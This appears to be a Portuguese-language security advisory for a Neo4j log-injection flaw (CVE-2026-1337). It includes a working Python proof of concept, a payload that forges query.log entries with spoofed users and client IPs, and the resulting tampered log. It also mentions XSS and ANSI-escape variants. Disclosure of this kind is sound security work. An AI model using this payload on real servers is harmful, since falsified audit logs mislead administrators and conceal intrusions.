
CVE-2026-1337 - Neo4j - Log Injection
A injeção de log por um usuário autenticado é possível no query.log do Neo4j quando o Neo4j não está configurado para o formato json.
O Neo4j não escapa caracteres de controle no campo de metadados de uma transação bolt. Um usuário autenticado poderia enviar caracteres de controle para injetar entradas de log falsas, inserindo novas linhas, \n.
No código POC anexado, essas consultas são adicionadas ao query.log de uma forma que ambas parecem legítimas, mas apenas a primeira é. Há também alguns outros artefatos, mal formatados, nos logs devido à injeção.
MATCH (n:RealQuery) RETURN n LIMIT 1
MATCH (n:FakeQuery1) RETURN n LIMIT 1
^ a segunda é injetada, nunca é executada
Essencialmente, isto:
with driver.session() as session:
tx = session.begin_transaction(metadata={"x": payload})
tx.run("RETURN 1")
tx.commit()
onde payload é algo como
'\n
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'
produz este query.log:
2025-12-05 13:08:34.585+0000 INFO Query started: id:1 - transaction id:1 - 255 ms: (planning: 255, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:35.308+0000 INFO id:1 - transaction id:1 - 980 ms: (planning: 915, waiting: 0) - 312 B - 2 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:RealQuery) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:35.333+0000 INFO Query started: id:2 - transaction id:2 - 10 ms: (planning: 10, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - RETURN 1 - {} - runtime=null - {x: ''
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
2025-12-05 13:08:35.370+0000 INFO id:2 - transaction id:2 - 47 ms: (planning: 44, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/127.0.0.1:50422 server/127.0.0.1:7687> neo4j - neo4j - RETURN 1 - {} - runtime=pipelined - {x: ''
2025-12-05 13:08:34.148+0000 INFO Query started: id:700 - transaction id:100 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO Query started: id:701 - transaction id:101 - 0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=null - {}
2025-12-05 13:08:34.148+0000 INFO id:700 - transaction id:100 - 1 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/10.0.0.1:1337 server/127.0.0.1:7687> neo4j - neo4j - MATCH (n:FakeQuery1) RETURN n LIMIT 1 - {} - runtime=pipelined - {}
2025-12-05 13:08:34.148+0000 INFO id:701 - transaction id:101 - 2 ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - bolt-session bolt neo4j-python/6.0.3 Python/3.13.9-final-0 (linux) client/192.168.1.50:4444 server/127.0.0.1:7687> neo4j - admin - MATCH (n:FakeQuery2) RETURN n LIMIT 1 - {} - runtime=pipelined - {}'}
python log_injection_poc.py --uri bolt://127.0.0.1:7687 --password secret123
Isso injetará entradas de log falsas no query.log.
A falta de escape também pode ser abusada para injetar, por exemplo, payloads XSS (um risco para aplicações web de análise de logs) ou caracteres de escape ANSI (um risco para interação com logs baseada em terminal).